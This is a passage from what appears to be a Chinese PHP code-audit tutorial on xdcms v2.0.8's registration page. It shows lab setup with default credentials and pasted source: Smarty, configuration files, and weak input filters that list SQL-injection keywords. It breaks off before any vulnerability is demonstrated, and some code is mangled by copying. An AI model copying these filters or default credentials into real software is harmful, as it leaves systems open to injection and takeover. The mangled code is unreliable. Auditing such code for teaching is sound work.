• PHP代码审计6-实战漏洞挖掘-xdcms用户注册页面漏洞


    xdcms

    源码:xdcms v2.0.8

    1、配置  【一直下一步(仅为测试)】

    #数据库账号root,密码为空;管理员账号/密码:xdcms/xdcms

    #登录后台

     2、查看后台登录页面的配置项【xdcms/admin/index.php】

    <script>location.href="../index.php?m=xdcms&c=login";</script>  

     m:一个模块;c:一个操作

     

    3、查看主页面源码【xdcms/index.php】

    <?php
    if(!file_exists("data/config.inc.php")){header("location:install/index.php");exit();}  //判断是否存在数据配置文件,若无,则跳转到安装页面
    require dirname(__FILE__).'/system/common.inc.php';    //包含程序配置文件【system/common.inc.php】
    ?>

      

    4、查看程序配置文件【/system/common.inc.php】

    1 <?php
    2  define('CMS_URL','http://127.0.0.1/xdcms/');
    3  define('TP_FOLDER','xdcms');
    4  define('TP_CACHE',false);
    5 ?>
    xdcms.inc.php

    <?php
    error_reporting(E_ALL & ~E_NOTICE);
    date_default_timezone_set('Asia/Shanghai');
    define('IN_CMS','true');
    require dirname(__FILE__).'/xdcms.inc.php';    //加载了xdcms.inc.php

    //系统目录
    define('SYS_DIR','system');
    define('TP_DIR','templates');
    define('CMS_PATH',substr(dirname(__FILE__),0,-strlen(SYS_DIR)));
    define('SYS_PATH',CMS_PATH.SYS_DIR."/");
    define('DATA_PATH',CMS_PATH.'data/');
    define('LIB_PATH',SYS_PATH.'libs/');
    define('MOD_PATH',SYS_PATH.'modules/');
    define('FUN_PATH',SYS_PATH.'function/');
    define('TP_PATH',SYS_PATH.TP_DIR."/");

    //缓存目录
    define('CACHE_PATH',CMS_PATH.'cache/');
    define('CACHE_TP_PATH',CACHE_PATH.'cache_template/');
    define('CACHE_SYS_PATH',CACHE_PATH.'cache_sys/');
    //附件目录
    define('UPLOAD_PATH', CMS_PATH.'uploadfile/'); //附件保存物理路径

     

      1 <?php
      2 
      3 /**
      4  * Project:     Smarty: the PHP compiling template engine
      5  * File:        Smarty.class.php
      6  * SVN:         $Id: Smarty.class.php 4074 2011-04-22 02:19:14Z uwe.tews@googlemail.com $
      7  *
      8  * This library is free software; you can redistribute it and/or
      9  * modify it under the terms of the GNU Lesser General Public
     10  * License as published by the Free Software Foundation; either
     11  * version 2.1 of the License, or (at your option) any later version.
     12  *
     13  * This library is distributed in the hope that it will be useful,
     14  * but WITHOUT ANY WARRANTY; without even the implied warranty of
     15  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
     16  * Lesser General Public License for more details.
     17  *
     18  * You should have received a copy of the GNU Lesser General Public
     19  * License along with this library; if not, write to the Free Software
     20  * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
     21  *
     22  * For questions, help, comments, discussion, etc., please join the
     23  * Smarty mailing list. Send a blank e-mail to
     24  * smarty-discussion-subscribe@googlegroups.com
     25  *
     26  * @link http://www.smarty.net/
     27  * @copyright 2008 New Digital Group, Inc.
     28  * @author Monte Ohrt <monte at ohrt dot com>
     29  * @author Uwe Tews
     30  * @package Smarty
     31  * @version 3.0.8
     32  */
     33 
     34 /**
     35  * define shorthand directory separator constant
     36  */
     37 if (!defined('DS')) {
     38     define('DS', DIRECTORY_SEPARATOR);
     39 }
     40 
     41 /**
     42  * set SMARTY_DIR to absolute path to Smarty library files.
     43  * Sets SMARTY_DIR only if user application has not already defined it.
     44  */
     45 if (!defined('SMARTY_DIR')) {
     46     define('SMARTY_DIR', dirname(__FILE__) . DS);
     47 }
     48 
     49 /**
     50  * set SMARTY_SYSPLUGINS_DIR to absolute path to Smarty internal plugins.
     51  * Sets SMARTY_SYSPLUGINS_DIR only if user application has not already defined it.
     52  */
     53 if (!defined('SMARTY_SYSPLUGINS_DIR')) {
     54     define('SMARTY_SYSPLUGINS_DIR', SMARTY_DIR . 'sysplugins' . DS);
     55 }
     56 if (!defined('SMARTY_PLUGINS_DIR')) {
     57     define('SMARTY_PLUGINS_DIR', SMARTY_DIR . 'plugins' . DS);
     58 }
     59 if (!defined('SMARTY_RESOURCE_CHAR_SET')) {
     60     define('SMARTY_RESOURCE_CHAR_SET', 'UTF-8');
     61 }
     62 if (!defined('SMARTY_RESOURCE_DATE_FORMAT')) {
     63     define('SMARTY_RESOURCE_DATE_FORMAT', '%b %e, %Y');
     64 }
     65 
     66 /**
     67  * register the class autoloader
     68  */
     69 if (!defined('SMARTY_SPL_AUTOLOAD')) {
     70     define('SMARTY_SPL_AUTOLOAD', 0);
     71 }
     72 
     73 if (SMARTY_SPL_AUTOLOAD && set_include_path(get_include_path() . PATH_SEPARATOR . SMARTY_SYSPLUGINS_DIR) !== false) {
     74     $registeredAutoLoadFunctions = spl_autoload_functions();
     75     if (!isset($registeredAutoLoadFunctions['spl_autoload'])) {
     76         spl_autoload_register();
     77     }
     78 } else {
     79     spl_autoload_register('smartyAutoload');
     80 }
     81 
     82 /**
     83  * This is the main Smarty class
     84  */
     85 class Smarty extends Smarty_Internal_Data {
     86     /**
     87     * constant definitions
     88     */
     89     // smarty version
     90     const SMARTY_VERSION = 'Smarty-3.0.8';
     91       //define variable scopes
     92     const SCOPE_LOCAL = 0;
     93     const SCOPE_PARENT = 1;
     94     const SCOPE_ROOT = 2;
     95     const SCOPE_GLOBAL = 3;
     96     // define caching modes
     97     const CACHING_OFF = 0;
     98     const CACHING_LIFETIME_CURRENT = 1;
     99     const CACHING_LIFETIME_SAVED = 2;
    100     /** modes for handling of "<?php ... ?>" tags in templates. **/
    101     const PHP_PASSTHRU = 0; //-> print tags as plain text
    102     const PHP_QUOTE = 1; //-> escape tags as entities
    103     const PHP_REMOVE = 2; //-> escape tags as entities
    104     const PHP_ALLOW = 3; //-> escape tags as entities
    105     // filter types
    106     const FILTER_POST = 'post';
    107     const FILTER_PRE = 'pre';
    108     const FILTER_OUTPUT = 'output';
    109     const FILTER_VARIABLE = 'variable';
    110     // plugin types
    111     const PLUGIN_FUNCTION = 'function';
    112     const PLUGIN_BLOCK = 'block';
    113     const PLUGIN_COMPILER = 'compiler';
    114     const PLUGIN_MODIFIER = 'modifier';
    115 
    116     /**
    117     * static variables
    118     */
    119     // assigned global tpl vars
    120     static $global_tpl_vars = array();
    121 
    122     /**
    123     * variables
    124     */
    125     // auto literal on delimiters with whitspace
    126     public $auto_literal = true;
    127     // display error on not assigned variables
    128     public $error_unassigned = false;
    129     // template directory
    130     public $template_dir = null;
    131     // default template handler
    132     public $default_template_handler_func = null;
    133     // compile directory
    134     public $compile_dir = null;
    135     // plugins directory
    136     public $plugins_dir = null;
    137     // cache directory
    138     public $cache_dir = null;
    139     // config directory
    140     public $config_dir = null;
    141     // force template compiling?
    142     public $force_compile = false;
    143     // check template for modifications?
    144     public $compile_check = true;
    145     // locking concurrent compiles
    146     public $compile_locking = true;
    147     // use sub dirs for compiled/cached files?
    148     public $use_sub_dirs = false;
    149     // compile_error?
    150     public $compile_error = false;
    151     // caching enabled
    152     public $caching = false;
    153     // merge compiled includes
    154     public $merge_compiled_includes = false;
    155     // cache lifetime
    156     public $cache_lifetime = 3600;
    157     // force cache file creation
    158     public $force_cache = false;
    159     // cache_id
    160     public $cache_id = null;
    161     // compile_id
    162     public $compile_id = null;
    163     // template delimiters
    164     public $left_delimiter = "{";
    165     public $right_delimiter = "}";
    166     // security
    167     public $security_class = 'Smarty_Security';
    168     public $security_policy = null;
    169     public $php_handling = self::PHP_PASSTHRU;
    170     public $allow_php_tag = false;
    171     public $allow_php_templates = false;
    172     public $direct_access_security = true;
    173     public $trusted_dir = array();
    174     // debug mode
    175     public $debugging = false;
    176     public $debugging_ctrl = 'NONE';
    177     public $smarty_debug_id = 'SMARTY_DEBUG';
    178     public $debug_tpl = null;
    179     // When set, smarty does uses this value as error_reporting-level.
    180     public $error_reporting = null;
    181     // config var settings
    182     public $config_overwrite = true; //Controls whether variables with the same name overwrite each other.
    183     public $config_booleanize = true; //Controls whether config values of on/true/yes and off/false/no get converted to boolean
    184     public $config_read_hidden = false; //Controls whether hidden config sections/vars are read from the file.
    185     // config vars
    186     public $config_vars = array();
    187     // assigned tpl vars
    188     public $tpl_vars = array();
    189     // dummy parent object
    190     public $parent = null;
    191     // global template functions
    192     public $template_functions = array();
    193     // resource type used if none given
    194     public $default_resource_type = 'file';
    195     // caching type
    196     public $caching_type = 'file';
    197     // internal cache resource types
    198     public $cache_resource_types = array('file');
    199     // internal config properties
    200     public $properties = array();
    201     // config type
    202     public $default_config_type = 'file';
    203     // cached template objects
    204     public $template_objects = null;
    205     // check If-Modified-Since headers
    206     public $cache_modified_check = false;
    207     // registered plugins
    208     public $registered_plugins = array();
    209     // plugin search order
    210     public $plugin_search_order = array('function', 'block', 'compiler', 'class');
    211     // registered objects
    212     public $registered_objects = array();
    213     // registered classes
    214     public $registered_classes = array();
    215     // registered filters
    216     public $registered_filters = array();
    217     // registered resources
    218     public $registered_resources = array();
    219     // autoload filter
    220     public $autoload_filters = array();
    221     // status of filter on variable output
    222     public $variable_filter = true;
    223     // default modifier
    224     public $default_modifiers = array();
    225     // global internal smarty  vars
    226     static $_smarty_vars = array();
    227     // start time for execution time calculation
    228     public $start_time = 0;
    229     // default file permissions
    230     public $_file_perms = 0644;
    231     // default dir permissions
    232     public $_dir_perms = 0771;
    233     // block tag hierarchy
    234     public $_tag_stack = array();
    235     // flag if {block} tag is compiled for template inheritance
    236     public $inheritance = false;
    237     // generate deprecated function call notices?
    238     public $deprecation_notices = true;
    239     // Smarty 2 BC
    240     public $_version = self::SMARTY_VERSION;
    241     // self pointer to Smarty object
    242     public $smarty;
    243 
    244     /**
    245      * Class constructor, initializes basic smarty properties
    246      */
    247     public function __construct()
    248     {
    249         // selfpointer need by some other class methods
    250         $this->smarty = $this;
    251         if (is_callable('mb_internal_encoding')) {
    252             mb_internal_encoding(SMARTY_RESOURCE_CHAR_SET);
    253         }
    254         $this->start_time = microtime(true);
    255         // set default dirs
    256         $this->template_dir = array('.' . DS . 'templates' . DS);
    257         $this->compile_dir = '.' . DS . 'templates_c' . DS;
    258         $this->plugins_dir = array(SMARTY_PLUGINS_DIR);
    259         $this->cache_dir = '.' . DS . 'cache' . DS;
    260         $this->config_dir = '.' . DS . 'configs' . DS;
    261         $this->debug_tpl = 'file:' . SMARTY_DIR . 'debug.tpl';
    262         if (isset($_SERVER['SCRIPT_NAME'])) {
    263             $this->assignGlobal('SCRIPT_NAME', $_SERVER['SCRIPT_NAME']);
    264         }
    265     }
    266 
    267     /**
    268      * Class destructor
    269      */
    270     public function __destruct()
    271     {
    272     }
    273 
    274     /**
    275      * fetches a rendered Smarty template
    276      *
    277      * @param string $template the resource handle of the template file or template object
    278      * @param mixed $cache_id cache id to be used with this template
    279      * @param mixed $compile_id compile id to be used with this template
    280      * @param object $ |null $parent next higher level of Smarty variables
    281      * @return string rendered template output
    282      */
    283     public function fetch($template, $cache_id = null, $compile_id = null, $parent = null, $display = false)
    284     {
    285         if (!empty($cache_id) && is_object($cache_id)) {
    286             $parent = $cache_id;
    287             $cache_id = null;
    288         }
    289         if ($parent === null) {
    290             // get default Smarty data object
    291             $parent = $this;
    292         }
    293         // create template object if necessary
    294         ($template instanceof $this->template_class)? $_template = $template :
    295         $_template = $this->createTemplate ($template, $cache_id, $compile_id, $parent, false);
    296         if (isset($this->error_reporting)) {
    297             $_smarty_old_error_level = error_reporting($this->error_reporting);
    298         }
    299         // check URL debugging control
    300         if (!$this->debugging && $this->debugging_ctrl == 'URL') {
    301             if (isset($_SERVER['QUERY_STRING'])) {
    302                 $_query_string = $_SERVER['QUERY_STRING'];
    303             } else {
    304                 $_query_string = '';
    305             }
    306             if (false !== strpos($_query_string, $this->smarty_debug_id)) {
    307                 if (false !== strpos($_query_string, $this->smarty_debug_id . '=on')) {
    308                     // enable debugging for this browser session
    309                     setcookie('SMARTY_DEBUG', true);
    310                     $this->debugging = true;
    311                 } elseif (false !== strpos($_query_string, $this->smarty_debug_id . '=off')) {
    312                     // disable debugging for this browser session
    313                     setcookie('SMARTY_DEBUG', false);
    314                     $this->debugging = false;
    315                 } else {
    316                     // enable debugging for this page
    317                     $this->debugging = true;
    318                 }
    319             } else {
    320                 if (isset($_COOKIE['SMARTY_DEBUG'])) {
    321                     $this->debugging = true;
    322                 }
    323             }
    324         }
    325         // obtain data for cache modified check
    326         if ($this->cache_modified_check && $this->caching && $display) {
    327             $_isCached = $_template->isCached() && !$_template->has_nocache_code;
    328             if ($_isCached) {
    329                 $_gmt_mtime = gmdate('D, d M Y H:i:s', $_template->getCachedTimestamp()) . ' GMT';
    330             } else {
    331                 $_gmt_mtime = '';
    332             }
    333         }
    334         // return rendered template
    335         if ((!$this->caching || $_template->resource_object->isEvaluated) && (isset($this->autoload_filters['output']) || isset($this->registered_filters['output']))) {
    336             $_output = Smarty_Internal_Filter_Handler::runFilter('output', $_template->getRenderedTemplate(), $_template);
    337         } else {
    338             $_output = $_template->getRenderedTemplate();
    339         }
    340         $_template->rendered_content = null;
    341         if (isset($this->error_reporting)) {
    342             error_reporting($_smarty_old_error_level);
    343         }
    344         // display or fetch
    345         if ($display) {
    346             if ($this->caching && $this->cache_modified_check) {
    347                 $_last_modified_date = @substr($_SERVER['HTTP_IF_MODIFIED_SINCE'], 0, strpos($_SERVER['HTTP_IF_MODIFIED_SINCE'], 'GMT') + 3);
    348                 if ($_isCached && $_gmt_mtime == $_last_modified_date) {
    349                     if (php_sapi_name() == 'cgi')
    350                         header('Status: 304 Not Modified');
    351                     else
    352                         header('HTTP/1.1 304 Not Modified');
    353                 } else {
    354                     header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $_template->getCachedTimestamp()) . ' GMT');
    355                     echo $_output;
    356                 }
    357             } else {
    358                 echo $_output;
    359             }
    360             // debug output
    361             if ($this->debugging) {
    362                 Smarty_Internal_Debug::display_debug($this);
    363             }
    364             return;
    365         } else {
    366             // return fetched content
    367             return $_output;
    368         }
    369     }
    370 
    371     /**
    372      * displays a Smarty template
    373      *
    374      * @param string $ |object $template the resource handle of the template file  or template object
    375      * @param mixed $cache_id cache id to be used with this template
    376      * @param mixed $compile_id compile id to be used with this template
    377      * @param object $parent next higher level of Smarty variables
    378      */
    379     public function display($template, $cache_id = null, $compile_id = null, $parent = null)
    380     {
    381         // display template
    382         $this->fetch ($template, $cache_id, $compile_id, $parent, true);
    383     }
    384 
    385     /**
    386      * test if cache i valid
    387      *
    388      * @param string $ |object $template the resource handle of the template file or template object
    389      * @param mixed $cache_id cache id to be used with this template
    390      * @param mixed $compile_id compile id to be used with this template
    391      * @param object $parent next higher level of Smarty variables
    392      * @return boolean cache status
    393      */
    394     public function isCached($template, $cache_id = null, $compile_id = null, $parent = null)
    395     {
    396         if ($parent === null) {
    397             $parent = $this;
    398         }
    399         if (!($template instanceof $this->template_class)) {
    400             $template = $this->createTemplate ($template, $cache_id, $compile_id, $parent, false);
    401         }
    402         // return cache status of template
    403         return $template->isCached();
    404     }
    405 
    406     /**
    407      * creates a data object
    408      *
    409      * @param object $parent next higher level of Smarty variables
    410      * @returns object data object
    411      */
    412     public function createData($parent = null)
    413     {
    414         return new Smarty_Data($parent, $this);
    415     }
    416 
    417     /**
    418      * creates a template object
    419      *
    420      * @param string $template the resource handle of the template file
    421      * @param mixed $cache_id cache id to be used with this template
    422      * @param mixed $compile_id compile id to be used with this template
    423      * @param object $parent next higher level of Smarty variables
    424      * @param boolean $do_clone flag is Smarty object shall be cloned
    425      * @returns object template object
    426      */
    427     public function createTemplate($template, $cache_id = null, $compile_id = null, $parent = null, $do_clone = true)
    428     {
    429         if (!empty($cache_id) && (is_object($cache_id) || is_array($cache_id))) {
    430             $parent = $cache_id;
    431             $cache_id = null;
    432         }
    433         if (!empty($parent) && is_array($parent)) {
    434             $data = $parent;
    435             $parent = null;
    436         } else {
    437             $data = null;
    438         }
    439         if (!is_object($template)) {
    440             // we got a template resource
    441             // already in template cache?
    442             $_templateId =  sha1($template . $cache_id . $compile_id);
    443             if (isset($this->template_objects[$_templateId]) && $this->caching) {
    444                 // return cached template object
    445                 $tpl = $this->template_objects[$_templateId];
    446             } else {
    447                 // create new template object
    448                 if ($do_clone) {
    449                     $tpl = new $this->template_class($template, clone $this, $parent, $cache_id, $compile_id);
    450                 } else {
    451                     $tpl = new $this->template_class($template, $this, $parent, $cache_id, $compile_id);
    452                 }
    453             }
    454         } else {
    455             // just return a copy of template class
    456             $tpl = $template;
    457         }
    458         // fill data if present
    459         if (!empty($data) && is_array($data)) {
    460             // set up variable values
    461             foreach ($data as $_key => $_val) {
    462                 $tpl->tpl_vars[$_key] = new Smarty_variable($_val);
    463             }
    464         }
    465         return $tpl;
    466     }
    467 
    468 
    469 
    470     /**
    471      * Check if a template resource exists
    472      *
    473      * @param string $resource_name template name
    474      * @return boolean status
    475      */
    476     function templateExists($resource_name)
    477     {
    478         // create template object
    479         $save = $this->template_objects;
    480         $tpl = new $this->template_class($resource_name, $this);
    481         // check if it does exists
    482         $result = $tpl->isExisting();
    483         $this->template_objects = $save;
    484         return $result;
    485     }
    486 
    487     /**
    488      * Returns a single or all global  variables
    489      *
    490      * @param object $smarty
    491      * @param string $varname variable name or null
    492      * @return string variable value or or array of variables
    493      */
    494     function getGlobal($varname = null)
    495     {
    496         if (isset($varname)) {
    497             if (isset(self::$global_tpl_vars[$varname])) {
    498                 return self::$global_tpl_vars[$varname]->value;
    499             } else {
    500                 return '';
    501             }
    502         } else {
    503             $_result = array();
    504             foreach (self::$global_tpl_vars AS $key => $var) {
    505                 $_result[$key] = $var->value;
    506             }
    507             return $_result;
    508         }
    509     }
    510 
    511     /**
    512     * Empty cache folder
    513     *
    514     * @param integer $exp_time expiration time
    515     * @param string $type resource type
    516     * @return integer number of cache files deleted
    517     */
    518     function clearAllCache($exp_time = null, $type = null)
    519     {
    520        // load cache resource and call clearAll
    521         return $this->loadCacheResource($type)->clearAll($exp_time);
    522     }
    523 
    524     /**
    525     * Empty cache for a specific template
    526     *
    527     * @param string $template_name template name
    528     * @param string $cache_id cache id
    529     * @param string $compile_id compile id
    530     * @param integer $exp_time expiration time
    531     * @param string $type resource type
    532     * @return integer number of cache files deleted
    533     */
    534     function clearCache($template_name, $cache_id = null, $compile_id = null, $exp_time = null, $type = null)
    535     {
    536        // load cache resource and call clear
    537         return $this->loadCacheResource($type)->clear($template_name, $cache_id, $compile_id, $exp_time);
    538     }
    539 
    540     /**
    541      * Loads security class and enables security
    542      */
    543     public function enableSecurity($security_class = null)
    544     {
    545         if ($security_class instanceof Smarty_Security) {
    546             $this->security_policy = $security_class;
    547             return;
    548         }
    549         if ($security_class == null) {
    550             $security_class = $this->security_class;
    551         }
    552         if (class_exists($security_class)) {
    553             $this->security_policy = new $security_class($this);
    554         } else {
    555             throw new SmartyException("Security class '$security_class' is not defined");
    556         }
    557     }
    558 
    559     /**
    560      * Disable security
    561      */
    562     public function disableSecurity()
    563     {
    564        $this->security_policy = null;
    565     }
    566 
    567     /**
    568     * Loads cache resource.
    569     *
    570     * @param string $type cache resource type
    571     * @return object of cache resource
    572     */
    573     public function loadCacheResource($type = null) {
    574         if (!isset($type)) {
    575             $type = $this->caching_type;
    576         }
    577         if (in_array($type, $this->cache_resource_types)) {
    578             $cache_resource_class = 'Smarty_Internal_CacheResource_' . ucfirst($type);
    579             return new $cache_resource_class($this);
    580         }
    581         else {
    582             // try plugins dir
    583             $cache_resource_class = 'Smarty_CacheResource_' . ucfirst($type);
    584             if ($this->loadPlugin($cache_resource_class)) {
    585                 return new $cache_resource_class($this);
    586             }
    587             else {
    588                 throw new SmartyException("Unable to load cache resource '{$type}'");
    589             }
    590         }
    591     }
    592 
    593 
    594     /**
    595      * Set template directory
    596      *
    597      * @param string $ |array $template_dir folder(s) of template sorces
    598      */
    599     public function setTemplateDir($template_dir)
    600     {
    601         $this->template_dir = (array)$template_dir;
    602         return;
    603     }
    604 
    605     /**
    606      * Adds template directory(s) to existing ones
    607      *
    608      * @param string $ |array $template_dir folder(s) of template sources
    609      */
    610     public function addTemplateDir($template_dir)
    611     {
    612         $this->template_dir = array_unique(array_merge((array)$this->template_dir, (array)$template_dir));
    613         return;
    614     }
    615 
    616     /**
    617      * Adds directory of plugin files
    618      *
    619      * @param object $smarty
    620      * @param string $ |array $ plugins folder
    621      * @return
    622      */
    623     function addPluginsDir($plugins_dir)
    624     {
    625         $this->plugins_dir = array_unique(array_merge((array)$this->plugins_dir, (array)$plugins_dir));
    626         return;
    627     }
    628 
    629 
    630     /**
    631      * return a reference to a registered object
    632      *
    633      * @param string $name object name
    634      * @return object
    635      */
    636     function getRegisteredObject($name)
    637     {
    638         if (!isset($this->registered_objects[$name]))
    639             throw new SmartyException("'$name' is not a registered object");
    640 
    641         if (!is_object($this->registered_objects[$name][0]))
    642             throw new SmartyException("registered '$name' is not an object");
    643 
    644         return $this->registered_objects[$name][0];
    645     }
    646 
    647 
    648     /**
    649      * return name of debugging template
    650      *
    651      * @return string
    652      */
    653     function getDebugTemplate()
    654     {
    655         return $this->debug_tpl;
    656     }
    657 
    658     /**
    659      * set the debug template
    660      *
    661      * @param string $tpl_name
    662      * @return bool
    663      */
    664     function setDebugTemplate($tpl_name)
    665     {
    666         return $this->debug_tpl = $tpl_name;
    667     }
    668 
    669     /**
    670      * Takes unknown classes and loads plugin files for them
    671      * class name format: Smarty_PluginType_PluginName
    672      * plugin filename format: plugintype.pluginname.php
    673      *
    674      * @param string $plugin_name class plugin name to load
    675      * @return string |boolean filepath of loaded file or false
    676      */
    677     public function loadPlugin($plugin_name, $check = true)
    678     {
    679         // if function or class exists, exit silently (already loaded)
    680         if ($check && (is_callable($plugin_name) || class_exists($plugin_name, false)))
    681             return true;
    682         // Plugin name is expected to be: Smarty_[Type]_[Name]
    683         $_plugin_name = strtolower($plugin_name);
    684         $_name_parts = explode('_', $_plugin_name, 3);
    685         // class name must have three parts to be valid plugin
    686         if (count($_name_parts) < 3 || $_name_parts[0] !== 'smarty') {
    687             throw new SmartyException("plugin {$plugin_name} is not a valid name format");
    688             return false;
    689         }
    690         // if type is "internal", get plugin from sysplugins
    691         if ($_name_parts[1] == 'internal') {
    692             $file = SMARTY_SYSPLUGINS_DIR . $_plugin_name . '.php';
    693             if (file_exists($file)) {
    694                 require_once($file);
    695                 return $file;
    696             } else {
    697                 return false;
    698             }
    699         }
    700         // plugin filename is expected to be: [type].[name].php
    701         $_plugin_filename = "{$_name_parts[1]}.{$_name_parts[2]}.php";
    702         // loop through plugin dirs and find the plugin
    703         foreach((array)$this->plugins_dir as $_plugin_dir) {
    704             if (strpos('/\', substr($_plugin_dir, -1)) === false) {
    705                 $_plugin_dir .= DS;
    706             }
    707             $file = $_plugin_dir . $_plugin_filename;
    708             if (file_exists($file)) {
    709                 require_once($file);
    710                 return $file;
    711             }
    712         }
    713         // no plugin loaded
    714         return false;
    715     }
    716 
    717     /**
    718     * clean up properties on cloned object
    719      */
    720     public function __clone()
    721     {
    722         // clear config vars
    723         $this->config_vars = array();
    724         // clear assigned tpl vars
    725         $this->tpl_vars = array();
    726         // clear objects for external methods
    727         unset($this->register);
    728         unset($this->filter);
    729     }
    730 
    731 
    732     /**
    733      * Handle unknown class methods
    734      *
    735      * @param string $name unknown methode name
    736      * @param array $args aurgument array
    737      */
    738     public function __call($name, $args)
    739     {
    740         static $camel_func;
    741         if (!isset($camel_func))
    742             $camel_func = create_function('$c', 'return "_" . strtolower($c[1]);');
    743         // see if this is a set/get for a property
    744         $first3 = strtolower(substr($name, 0, 3));
    745         if (in_array($first3, array('set', 'get')) && substr($name, 3, 1) !== '_') {
    746             // try to keep case correct for future PHP 6.0 case-sensitive class methods
    747             // lcfirst() not available < PHP 5.3.0, so improvise
    748             $property_name = strtolower(substr($name, 3, 1)) . substr($name, 4);
    749             // convert camel case to underscored name
    750             $property_name = preg_replace_callback('/([A-Z])/', $camel_func, $property_name);
    751             if (!property_exists($this, $property_name)) {
    752                 throw new SmartyException("property '$property_name' does not exist.");
    753                 return false;
    754             }
    755             if ($first3 == 'get')
    756                 return $this->$property_name;
    757             else
    758                 return $this->$property_name = $args[0];
    759         }
    760        // Smarty Backward Compatible wrapper
    761         if (strpos($name,'_') !== false) {
    762             if (!isset($this->wrapper)) {
    763                 $this->wrapper = new Smarty_Internal_Wrapper($this);
    764             }
    765             return $this->wrapper->convert($name, $args);
    766         }
    767         // external Smarty methods ?
    768         foreach(array('Filter','Register') as $external) {
    769             if (class_exists("Smarty_Internal_{$external}") && method_exists("Smarty_Internal_{$external}",$name)) {
    770                 if (!isset($this->$external)) {
    771                     $class = "Smarty_Internal_{$external}";
    772                     $this->$external = new $class($this);
    773                 }
    774                 return call_user_func_array(array($this->$external,$name), $args);
    775             }
    776         }
    777         if (in_array($name,array('clearCompiledTemplate','compileAllTemplates','compileAllConfig','testInstall','getTags'))) {
    778                if (!isset($this->utility)) {
    779                 $this->utility = new Smarty_Internal_Utility($this);
    780             }
    781             return call_user_func_array(array($this->utility,$name), $args);
    782         }
    783          // PHP4 call to constructor?
    784         if (strtolower($name) == 'smarty') {
    785             throw new SmartyException('Please use parent::__construct() to call parent constuctor');
    786             return false;
    787         }
    788         throw new SmartyException("Call of unknown function '$name'.");
    789    }
    790 }
    791 
    792 /**
    793  * Autoloader
    794  */
    795 function smartyAutoload($class)
    796 {
    797     $_class = strtolower($class);
    798     if (substr($_class, 0, 16) === 'smarty_internal_' || $_class == 'smarty_security') {
    799         include SMARTY_SYSPLUGINS_DIR . $_class . '.php';
    800     }
    801 }
    802 
    803 /**
    804  * Smarty exception class
    805  */
    806 Class SmartyException extends Exception {
    807 }
    808 
    809 /**
    810  * Smarty compiler exception class
    811  */
    812 Class SmartyCompilerException extends SmartyException  {
    813 }
    814 
    815 ?>
    Smarty.class.php

    //Smarty配置
    include_once(SYS_PATH."Smarty/Smarty.class.php"); //包含smarty类文件
    $smarty = new Smarty(); //建立smarty实例对象$smarty
    $smarty->caching=TP_CACHE; //是否使用缓存
    $smarty->template_dir = TP_PATH; //设置模板目录
    $smarty->compile_dir = SYS_PATH."templates_c"; //设置编译目录
    $smarty->cache_dir = CACHE_TP_PATH; //缓存文件夹
    $smarty->cache_lifetime = 300; //缓存时间
    $smarty->left_delimiter = "{";
    $smarty->right_delimiter = "}";

    include(DATA_PATH."config.inc.php");  //数据库配置信息

     1 <?php
     2 //数据库配置信息
     3 define('DB_HOST', 'localhost'); //数据库服务器主机地址
     4 define('DB_USER', 'root'); //数据库帐号
     5 define('DB_PW', ''); //数据库密码
     6 define('DB_NAME', 'xdcms'); //数据库名
     7 define('DB_PRE', 'c_'); //数据库表前缀
     8 define('DB_CHARSET', 'gbk'); //数据库字符集
     9 define('DB_PCONNECT', 0); //0 或1,是否使用持久连接
    10 ?>
    DATA-config.inc.php

    include(FUN_PATH."fun.inc.php");  //函数的配置【system/function/fun.inc.php】

      1 <?php
      2 /**
      3  * $Author: 91736 $
      4  * ============================================================================
      5  * 函数库
      6  * 网站地址: http://www.91736.com
      7  * 更多PHP开发请登录:http://bbs.91736.com
      8  * ============================================================================
      9 */
     10 
     11 include(FUN_PATH."clue.inc.php");
     12 include(LIB_PATH."base.class.php");
     13 include(LIB_PATH."Cookie.class.php");
     14 include(FUN_PATH."global.inc.php");
     15 
     16 //模板加载函数
     17 function template($name,$path=""){
     18     global $smarty;
     19     if(empty($path)){
     20         $path=TP_FOLDER;
     21     }
     22     if(!file_exists(TP_PATH.$path."/".$name.".html"))die($path."/".$name.".html模版文件不存在"); //检查模版文件是否存在
     23     $smarty->display($path."/".$name.".html",$_SERVER['REQUEST_URI']);
     24 }
     25 
     26 //变量加载函数
     27 function assign($var,$value){
     28     global $smarty;
     29     $smarty->assign($var,$value);
     30 }
     31 
     32 //安全过滤函数
     33 function safe_replace($string) {
     34     $string = str_replace('%20','',$string);
     35     $string = str_replace('%27','',$string);
     36     $string = str_replace('%2527','',$string);
     37     $string = str_replace('*','',$string);
     38     $string = str_replace('"','&quot;',$string);
     39     $string = str_replace("'",'',$string);
     40     $string = str_replace('"','',$string);
     41     $string = str_replace(';','',$string);
     42     $string = str_replace('<','&lt;',$string);
     43     $string = str_replace('>','&gt;',$string);
     44     $string = str_replace("{",'',$string);
     45     $string = str_replace('}','',$string);
     46     $string = str_replace('\','',$string);
     47     return $string;
     48 }
     49 
     50 //安全过滤函数
     51 function safe_html($str){
     52     if(empty($str)){return;}
     53     if (preg_match('/ select | insert |  update |  and |  in |  on |  left | joins |  delete |\%|=|/*|*|  union |../|./|  from |  where |  group | into |load_file
     54     |outfile/i',$str)){showmsg(C('error'),'-1');}
     55     return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
     56 } 
     57 
     58 
     59 //提示信息内容
     60 function C($clue){
     61     global $CLUE;
     62     return $CLUE[$clue];
     63 }
     64 
     65 //提示信息对话框
     66 function showmsg($msg,$gourl,$onlymsg=0,$limittime=0){
     67     $htmlhead  = "<html>
    <head>
    <title>提示信息</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gbk}" />
    ";
     68     $htmlhead .= "<base target='_self'/>
    <style>";
     69     $htmlhead .= "*{font-size:12px;color:#2B61BA;}
    ";
     70     $htmlhead .= "body{font-family:"微软雅黑","宋体", Verdana, Arial, Helvetica, sans-serif;background:#FFFFFF;margin:0;}
    ";
     71     $htmlhead .= "a:link,a:visited,a:active {color:#ABBBD6;text-decoration:none;}
    ";
     72     $htmlhead .= ".msg{400px;text-align:left;background:#FFFFFF url('admin/images/msgbg.gif') repeat-x;margin:auto;}
    ";
     73     $htmlhead .= ".head{letter-spacing:2px;line-height:29px;height:26px;overflow:hidden;font-weight:bold;}
    ";
     74     $htmlhead .= ".content{padding:10px 20px 5px 20px;line-height:200%;word-break:break-all;border:#7998B7 1px solid;border-top:none;}
    ";
